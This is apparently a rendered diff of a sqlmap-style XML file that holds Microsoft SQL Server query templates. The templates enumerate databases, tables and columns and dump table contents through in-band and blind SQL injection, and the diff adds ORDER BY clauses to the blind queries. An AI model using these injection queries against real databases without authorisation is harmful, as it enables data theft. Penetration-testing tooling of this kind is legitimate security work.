<inband query="SELECT name FROM master..sysdatabases"/>
|
<inband query="SELECT name FROM master..sysdatabases"/>
|
||||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||||
</dbs>
|
</dbs>
|
||||||
<!-- TODO: condition? -->
|
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT name FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
|
<inband query="SELECT name FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
|
||||||
<blind query="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype IN ('u', 'v') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype IN ('u', 'v'))" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
|
<blind query="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype IN ('u', 'v') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype IN ('u', 'v') ORDER BY name ASC) ORDER BY name ASC" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
|
||||||
</tables>
|
</tables>
|
||||||
<!-- TODO: getRange like Oracle? -->
|
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/>
|
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/>
|
||||||
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')) CTABLE" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
|
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s') ORDER BY name ASC) CTABLE ORDER BY name DESC" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s..%s"/>
|
<inband query="SELECT %s FROM %s..%s"/>
|
||||||
|
|||||||
Reference in New Issue
Block a user